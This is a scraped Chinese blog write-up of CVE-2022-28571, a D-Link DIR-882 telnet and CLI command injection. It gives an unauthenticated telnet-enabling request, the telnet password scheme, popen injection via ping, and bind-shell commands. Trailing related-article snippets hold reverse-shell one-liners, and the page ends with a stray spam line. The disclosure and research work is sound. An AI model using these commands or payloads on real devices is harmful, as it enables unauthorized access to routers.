<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    如何在DIR 882中拿到一個方便調試的shell

    VSole2022-05-07 06:51:45

    0x10 前言

    對前一段時間發現的幾個命令注入漏洞做下記錄:CVE-2022-28571 && CVE-2022-28572 CVE-2022-28571 這個漏洞的產生是因為Telnetd參數過濾不完整導致的,由于需要知道密碼所以比較雞肋,類似于授權后的命令注入,發現的過程很有意思,這篇文章主要介紹這個漏洞。CVE-2022-28572 這個漏洞是Tenda AX18 系列的一個命令注入漏洞,其實應該還有兩個點可以觸發這個漏洞,這里我交了一個比較好構造的一個。CVE-2022-28573 是一個沒水平Dlink 823 pro的命令注入(太經典了)

    0x20 漏洞分析 (28571)

    起因是我想復現D-link DIR882 的那幾個漏洞 比如:CVE-2021-45998, 但當我抓包以后發現DIR882 對包的檢查很嚴格,每個請求的AUTH好像只能請求一次,試了一下發現漏洞確實存在,但當我想彈個shell回來的時候出了點問題,我用老一套命令

    telnetd -l /bin/sh -p 2333
    

    來反彈shell的時候,發現反彈不回來,然后我就想,是不是DIR882的Telnet實現有點不太一樣,于是我找了一下DIR882的Telnet

    發現Telnet存在lighttpd中,這就意味著他可以開啟Telnetd(通過HTTP請求),我們在lighttpd 中找一下這個字符串

    我們可以發現/start_telnet 這個路徑,以及貌似是開啟參數的telnetd -b 0.0.0.0

    拿著我200塊淘的真機一試,發現這個請求是不過認證的,一個GET請求就可以開啟,盡管顯示的是404,但Dlink882又可以地方會打印系統信息出來到一個文件里返回給用戶(登錄后,系統調試處),可以看到命令是執行了的,而且此時23端口也是打開了的。

    這個時候漏洞復現的興趣就沒有了,開始漏洞挖掘,這里做一個假設,假設這個Telnet的密碼是硬編碼寫入的,我們只要找到這個編碼就可以拿到shell了(后面發現不是硬編碼) 下面我們只要想辦法找到密碼就行了,通過對telnet嘗試連接,我們發現

    這里有一個dlinkrouter login , 根據找tenda Telnet的經驗,我查了這個字符串的引用,發現沒找到,沒找到?說明這個dlinkrouter 字符串應該是系統生成的,而telnetd 是被鏈接在 busybox里的,我們逆向busybox

    通過login字符串的交叉引用,我們發現

    我們可以發現sub_465960獲取了uname, 這說明系統的用戶名是dlinkrouter 加上后面的引用,我們就可以找到telnetd的調用過程了

     login();                                    // readusername
        do
        {
          if ( *(_DWORD *)(_stdin + 72) )
          {
            v11 = *(unsigned __int8 **)(_stdin + 16);
            if ( (unsigned int)v11 < *(_DWORD *)(_stdin + 24) )
            {
              v12 = *v11;
              *(_DWORD *)(_stdin + 16) = v11 + 1;
              goto LABEL_27;
            }
            v13 = (int (*)(void))&_fgetc_unlocked;
          }
          else
          {
            v13 = (int (*)(void))&fgetc;
          }
          v12 = v13();
          if ( v12 == -1 )
            goto LABEL_67;
    LABEL_27:
          if ( v12 == 10 )
          {
            if ( !--v10 )
              goto LABEL_67;
            goto LABEL_20;
          }
        }
        while ( isspace(v12) );
        username[0] = v12;
        if ( !fgets(&username[1], 30, stdin) || (v14 = &username[1], !strchr(&username[1], 10)) )
    LABEL_67:
          exit(1);
        while ( isgraph((unsigned __int8)*v14) )
          ++v14;
        *v14 = 0;
    LABEL_37:
        user_struct = getpwnam(username);           // 從密碼文件中取得指定賬號的數據
                                                    // #include 
                                                    // #include 
                                                    // struct passwd
                                                    // {
                                                    //   char *pw_name;                /* 用戶登錄名 */
                                                    //   char *pw_passwd;              /* 密碼(加密后) */
                                                    //   __uid_t pw_uid;               /* 用戶ID */
                                                    //   __gid_t pw_gid;               /* 組ID */
                                                    //   char *pw_gecos;               /* 詳細用戶名 */
                                                    //   char *pw_dir;                 /* 用戶目錄 */
                                                    //   char *pw_shell;               /* Shell程序名 */
                                                    // };
                                                    // 
        pw_name = user_struct;
        if ( !user_struct )
        {
          strcpy(username, "UNKNOWN");
          goto LABEL_49;
        }
        v17 = **(unsigned __int8 **)(user_struct + 4);
        if ( v17 != 0x21 && v17 != 0x2A )
        {
          if ( (v5 & 1) != 0 )
            goto LABEL_53;
          if ( *(_DWORD *)(pw_name + 8) )
            goto LABEL_82;
          v26 = "/etc/securetty";
          v18 = (_DWORD *)sub_463D20("/etc/securetty", sub_4063C8);
          while ( sub_463DE4(v18, &v26, 459009, "# \t") && strcmp(v26, dword_485294) )
            v26 = 0;
          sub_463D74(v18);
          if ( v26 )
          {
    LABEL_82:
            if ( **(_BYTE **)(pw_name + 4) )        // pw_passwd
            {
    LABEL_49:
              if ( !sub_45D554(pw_name) )
                goto LABEL_50;
            }
    LABEL_53:
            alarm(0);
            if ( v4 || access("/etc/nologin", 0) )
            {
              fchown(0, *(_DWORD *)(pw_name + 8), *(_DWORD *)(pw_name + 12));
              fchmod(0, 384);
              sub_45C9AC(pw_name);
              v22 = *(const char **)(pw_name + 24);
              if ( !v22 || !*v22 )
                v22 = "/bin/sh";
              sub_465A64(v22, (v5 & 4) == 0, 1, pw_name);
              v23 = open("/etc/motd", 0);
              if ( v23 >= 0 )
              {
                fflush(stdout);
                sub_407824(v23, 1);
                close(v23);
              }
              if ( !*(_DWORD *)(pw_name + 8) )
                syslog(6, "root login%s", v8);
              signal(14, 0);
              signal(2, 0);
              if ( v3 )
                v24 = *(const char **)(pw_name + 24);
              else
                v24 = "/usr/bin/cli";
              sub_465810(v24, 1, 0, 0);
            }
            v19 = (_DWORD *)sub_4063C8((int)"/etc/nologin");
            if ( !v19 )
            {
              puts("\rSystem closed for routine maintenance\r");
              goto LABEL_67;
            }
            while ( 2 )
            {
              if ( v19[18] )
              {
                v21 = (unsigned __int8 *)v19[4];
                if ( (unsigned int)v21 < v19[6] )
                {
                  v20 = *v21;
                  v19[4] = v21 + 1;
    LABEL_57:
                  if ( v20 == 10 )
                    LOBYTE(v20) = 13;
                  sub_407048(v20);
                  continue;
                }
                v20 = ((int (__fastcall *)(_DWORD *))_fgetc_unlocked)(v19);
              }
              else
              {
                v20 = ((int (__fastcall *)(_DWORD *))fgetc)(v19);
              }
              break;
            }
            if ( v20 == -1 )
            {
              fflush(stdout);
              fclose(v19);
              goto LABEL_67;
            }
            goto LABEL_57;
          }
        }
    BOOL __fastcall sub_45D554(int a1)
    {
      const char *pw_passwd; // $s2
      BOOL v2; // $s0
      int v3; // $s1
      int v4; // $s3
      int v5; // $v0
      if ( a1 )
      {
        pw_passwd = *(const char **)(a1 + 4);
        v2 = 1;
        if ( !*pw_passwd )
          return v2;
      }
      else
      {
        pw_passwd = "aa";
      }
      v3 = sub_468334(0, (int)"Password: ");
      v2 = 0;
      if ( v3 )
      {
        v4 = sub_46521C();                          // v4 = enc(password,slat)
                                                    // slat= "aa" || user->uid
        v2 = strcmp(v4, pw_passwd) == 0;
        free(v4);
        v5 = strlen(v3);
        memset(v3, 0, v5);
      }
      return v2;
    }
    

    通過對關鍵函數的分析,我們弄清了Dlink882 Telnet的登錄流程為:

    1. 輸入用戶名
    2. 系統根據用戶名去/etc/passwd 里面找密碼
    3. 對比加鹽后的密碼值 那么我們就要去找到這個加鹽后的密碼值了,通過對主程序prog.cgi的逆向我們發現 /etc/passwd 里的密碼是由登錄密碼拼上@twsz2018 組成的

    使用登錄密碼拼上那串字符我們就可以登錄進Dlink 882的Telnet,進去之后發現是一個cli. 分析busybox我們發現

              if ( !*(_DWORD *)(pw_name + 8) )
                syslog(6, "root login%s", v8);
              signal(14, 0);
              signal(2, 0);
              if ( v3 )
                v24 = *(const char **)(pw_name + 24);
              else
                v24 = "/usr/bin/cli";
              sub_465810(v24, 1, 0, 0);
            }
    

    /usr/bin/cli ,上了個大當。我們繼續分析cli

    int __fastcall cmd_ping(int a1, const char *a2, _DWORD *a3, int a4)
    {
      int v8; // $s0
      int v9; // $s1
      char v11[128]; // [sp+18h] [-80h] BYREF
      memset(v11, 0, sizeof(v11));
      v8 = snprintf(v11, 128, "%s ", a2);
      if ( a4 > 0 )
      {
        v9 = 0;
        do
        {
          ++v9;
          v8 += snprintf(&v11[v8], 128 - v8, "%s ", *a3++);
        }
        while ( v9 != a4 );
      }
      systemCmd(a1, (int)v11);
      return 0;
    }
    int __fastcall systemCmd(int a1, int a2)
    {
      int v4; // $s2
      int v5; // $s0
      char v7[256]; // [sp+18h] [-100h] BYREF
      v4 = -1;
      memset(v7, 0, sizeof(v7));
      if ( a2 )
      {
        v5 = popen(a2, "r");
        if ( v5 )
        {
          while ( fgets(v7, 256, v5) )
            cli_bufprint(a1, "%s", v7);
          v4 = 0;
          cli_print(a1, "  ", v7);
          pclose(v5);
        }
      }
      return v4;
    }
    

    輸入直接被丟給了popen,真是柳岸花明又一春,直接拼命令就可以注入了

    后面發現如果要用telnetd反彈shell的話,在Dlink中命令要這樣拼

    telnetd -l /bin/sh -p 2333 -b 0.0.0.0
    

    0x30 時間線

    2022年3月8日,將漏洞上報給CVE 2022年4月1日,由于未添加版本信息被退回 2022年4月1日,重新上報給CVE 2022年5月2日,獲得編號CVE-2022-28571

    end

    shellchar函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    記一次網站滲透過程
    2022-09-13 08:37:27
    前幾天記錄某一次無意點開的一個小網站的滲透過程,幸運的是搭建平臺是phpstudy,cms是beecms,beecms有通用漏洞,然后去網上找了資料,成功getshell并獲取服務器權限。
    一、序言 記錄某一次無意點開的一個小網站的滲透過程,幸運的是搭建平臺是phpstudy,cms是beecms,beecms有通用漏洞,然后去網上找了資料,成功getshell并獲取服務器權限。 二、滲透過程 1. 無意點開一個網站,發現網站比較小,且看起來比較老,然后發現logo沒有改,于是乎去百度搜索這個cms,發現有通用漏洞,這里貼一個鏈接:Beecms 通用漏洞(https://lin
    釣魚小技巧-XLM
    2022-01-21 21:30:11
    隨后保存為啟用宏的文檔。而在實戰環境中,我們更關注的是能否執行我們的shellcode。
    這里根據紅日安全PHP-Audit-Labs對一些函數缺陷的分析,從PHP內核層面來分析一些函數的可利用的地方,標題所說的函數缺陷并不一定是函數本身的缺陷,也可能是函數在使用過程中存在某些問題,造成了漏洞,以下是對部分函數的分析
    在云SQL上獲取shell
    2022-07-18 17:00:27
    云上的關系數據庫服務,它是由 Google 保護、監控和更新的SQL、PostgreSQL 或 MySQL的服務器。托管 MySQL 實例的限制由于Cloud SQL是一項完全托管的服務,因此用戶無權訪問某些功能。在MySQL中,SUPER權限保留用于系統管理相關任務,FILE權限用于讀取/寫入運行 MySQL服務器上的文件。
    00 前言在 HWS2021 入營選拔比賽的時候,遇到了一道 QEMU 逃逸的題目,那個時候就直接莽上去分析了一通,東拼西湊的把 EXP 寫了出來。但是 QEMU 逃逸這部分的內容實在是比較復雜,而且涉及到了很多我完全沒有了解過的知識,所以一直鴿到了現在。System mode:系統模式,在這種模式下,QEMU 可以模擬出一個完整的計算機系統。
    漏洞的成因來自于Glibc在對重定向函數進行延遲綁定時,由于參數表被篡改導致的控制流篡改,本篇中,筆者會盡可能通過例題和實際現象來闡釋 延遲綁定的底層實現 和 ret2dlresolve。
    在一次滲透測試中,手工找了許久沒發現什么東西,抱著嘗試的心情打開了xray 果然xray還是挺給力的,一打開網頁的時候xray直接就掃描出了thinkphp 5.0.10 rce漏洞 直接使用命令執行payload,結果報出system函數被禁用
    在我們滲透測試的過程中,最常用的就是基于tcp/udp協議反彈一個shell,也就是反向連接。我們先來講一下什么是正向連接和反向連接。centos執行python -c 'import socket,subprocess,os;s=socket.socket;s.connect;os.dup2; os.dup2; os.dup2;p=subprocess.call;'. 這個payload是反向連接并且只支持Linux,Windows可以參考離別歌師傅的python windows正向連接后門。這樣會把目標機的/bin/bash反彈給攻擊機但是很多Linux的nc很多都是閹割版的,如果目標機器沒有nc或者沒有-e選項的話,不建議使用nc的方式.PHP攻擊機監聽nc -lvvp 4444. 要求目標機器有php然后執行php -r '$sock=fsockopen;exec;'. 加載64位的shellcode需要用64位的msbuildC:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类